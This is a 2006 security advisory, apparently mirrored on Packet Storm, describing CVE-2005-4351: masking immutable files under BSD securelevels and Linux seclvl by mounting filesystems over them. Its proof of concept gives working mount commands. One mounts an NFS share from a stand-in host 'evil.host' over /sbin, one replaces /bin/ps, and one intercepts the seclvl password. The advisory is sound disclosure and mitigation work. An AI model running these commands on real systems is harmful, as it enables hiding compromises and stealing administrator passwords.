what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New


Posted Jan 10, 2006
Site redteam-pentesting.de

BSD Securelevels can be circumvented at runtime. By mounting another filesystem, immutable files can be masked. Masking means placing an arbitrary file at the location of an immutable file, without changing the immutable file itself. Details on how this can be exploited are included.

tags | exploit, arbitrary
systems | bsd
advisories | CVE-2005-4351
SHA-256 | 5f212654aa72d63c5f2b0e62bbabc43d84e3b56af267179ad9b967469a4f15ba


Change Mirror Download
Advisory: BSD Securelevels: Circumventing protection of files flagged

By mounting an arbitrary filesystem, it is possible to mask files
flagged immutable with any user-defined files.


Product: FreeBSD up to 6.0-STABLE and 7.0-CURRENT
OpenBSD up to 3.8
DragonFly up to 1.2
Linux vanilla kernel up to 2.6.15
Vulnerability Type: Filesystem privilege circumvention
Security-Risk: medium
Advisory-Status: public
CVE: CVE-2005-4351
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2005-4351


BSD-Securelevels try to harden the system by restricting certain
functions. The FreeBSD manpage[1] states: "The kernel runs with five
different levels of security. Any super-user process can raise the
security level, but no process can lower it."

While running a securelevel of one or greater, files having the
immutable flag cannot be changed anymore. Although files are protected
from being changed permanently, masking them at runtime is still

More Details

While the behaviour described above seems to provide effective
protection against changing immutable files physically, the protection
can be circumvented at runtime. By mounting another filesystem,
immutable files can be masked. Masking means placing an arbitrary file
at the location of an immutable file, without changing the immutable
file itself.
Every access to the masked file through its path in the filesystem will
result in access to the masking file. This can be achieved by mounting
NFS or any other available filesystem on the directory where the
immutable file resides. At runtime an attacker could replace arbitrary
files. Although it is not possible to change the contents of immutable
files permanently, the impact is similar.
With Linux an attacker can even intercept the password input to lower
the security level masking /sys/seclvl/passwd.

After searching mailinglist archives, we discovered that this problem
was already discussed[2,3,4] before, but with no real result. The
current behaviour is not good under security considerations. Especially
bad is that it still seems to be a common mispractise for administrators
to rely on securelevels to make it impossible for an attacker to change
the running system. Using the described technique it would be possible
to create a rootkit utilizing mount.

Proof of Concept

The following example uses an NFS share but any other usable filesystem
also works.

root@# ls -lo /sbin
total 4884
-r-xr-xr-x 1 root wheel schg 7480 Nov 23 14:04 adjkerntz
-r-xr-xr-x 1 root wheel schg 13968 Nov 23 14:04 atacontrol
-r-xr-xr-x 1 root wheel schg 39828 Nov 23 14:04 atm
-r-xr-xr-x 1 root wheel schg 51772 Nov 23 14:04 atmconfig
-r-xr-xr-x 1 root wheel schg 7292 Nov 23 14:04 badsect
-r-xr-xr-x 2 root wheel schg 29336 Nov 23 14:04 bsdlabel
-r-xr-xr-x 1 root wheel schg 55972 Nov 23 14:04 camcontrol
-r-xr-xr-x 1 root wheel schg 10124 Nov 23 14:04 ccdconfig
-r-xr-xr-x 1 root wheel schg 5424 Nov 23 14:04 clri

root@# mount -t nfs evil.host:/exported /sbin
root@# ls -lo /sbin
total 4884
-r-xr-xr-x 1 root wheel - 8451 Nov 22 15:07 adjkerntz
-r-xr-xr-x 1 root wheel - 13485 Nov 22 15:07 atacontrol
-r-xr-xr-x 1 root wheel - 30957 Nov 22 15:07 atm
-r-xr-xr-x 1 root wheel - 51498 Nov 22 15:07 atmconfig
-r-xr-xr-x 1 root wheel - 7435 Nov 22 15:07 badsect
-r-xr-xr-x 2 root wheel - 24385 Nov 22 15:07 bsdlabel
-r-xr-xr-x 1 root wheel - 58591 Nov 22 15:07 camcontrol
-r-xr-xr-x 1 root wheel - 11585 Nov 22 15:07 ccdconfig
-r-xr-xr-x 1 root wheel - 6581 Nov 22 15:07 clri

With Linux an attacker does not even have to mount a complete filesystem
but mount just a single file over an immutable file by using the
following command:

root@# mount --bind /tmp/attacker_ps /bin/ps

To intercept the password of seclvl with Linux, an attacker can use the

root@# mount --bind /tmp/getpass /sys/seclvl/passwd

Any attempt to lower the securitylevel by an admin will store the
in /tmp/getpass.


A possible workaround is to disable mounting of filesystems completely
after booting. This can be achieved through hardening kernel extensions
like OpenBSD's systrace[5], FreeBSD's MAC security extensions[6] or
SELinux[7]. Administrators should furthermore not rely on securelevels
for protecting files in case of an attack.


No fix is available at this time. The implementation of securelevels on
NetBSD was found to be not vulnerable to this attack.
No fix will be released for OpenBSD. To quote Theo de Raadt:

"Sorry, we are going to change nothing. Securelevels are useless."

FreeBSD is still discussing the issue and no further response from the
Linux maintainer has been received yet.

Security Risk

This kind of attack provides a medium security risk. An attacker is able
to hide himself effectively on a compromised system by using the methods
described above.


While protecting data effectively against permanent tampering, the term
"Securelevels" should not contain the word secure. Securelevels do not
protect against system compromise and provide only limited security. To
restrict access to a system a more secure and flexible approach like
OpenBSD's systrace[5], FreeBSD's MAC Framework[6] or SELinux[7] should
be used.


2005-11-05 Problem discovered while testing a product of iPisec Ltd.
2005-11-29 Discussed the issue with iPisec management and technicians
2005-12-02 Contacted the maintainer of BSD-Securelevels on Linux
2005-12-02 Response from the maintainer of BSD-Securelevels on Linux, he
wants to do what *BSD will be doing
2005-12-04 Contacted the maintainers of different BSD derivates
2005-12-05 Response from the FreeBSD Security Team - problem under
2005-12-06 Response from the OpenBSD - problem will not be fixed
2005-12-15 Forwarded the *BSD responses to the Linux maintainer
2006-01-05 No further response from the Linux maintainer
2006-01-09 Public release


[1] http://www.freebsd.org/cgi/man.cgi?query=securelevel
[2] http://www.monkey.org/openbsd/archive/tech/9906/msg00149.html
[3] http://archives.neohapsis.com/archives/openbsd/2005-10/1523.html
[4] http://www.freebsd.org/cgi/query-pr.cgi?pr=kern/22142
[5] http://www.citi.umich.edu/u/provos/systrace/index.html
[6] http://www.freebsd.org/doc/en_US.ISO8859-1/books/handbook/mac.html
[7] http://www.nsa.gov/selinux/index.cfm


RedTeam offers interested business parties penetration tests to validate
their security. Doing security research RedTeam likes to enhance the
common knowledgebase in security related areas. More information about
RedTeam can be found at http://www.redteam-pentesting.de.

RedTeam Pentesting Tel.: +49-(0)241-963 1300
Dennewartstr. 25-27 Fax : +49-(0)241-963 1304
52068 Aachen http://www.redteam-pentesting.de
Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By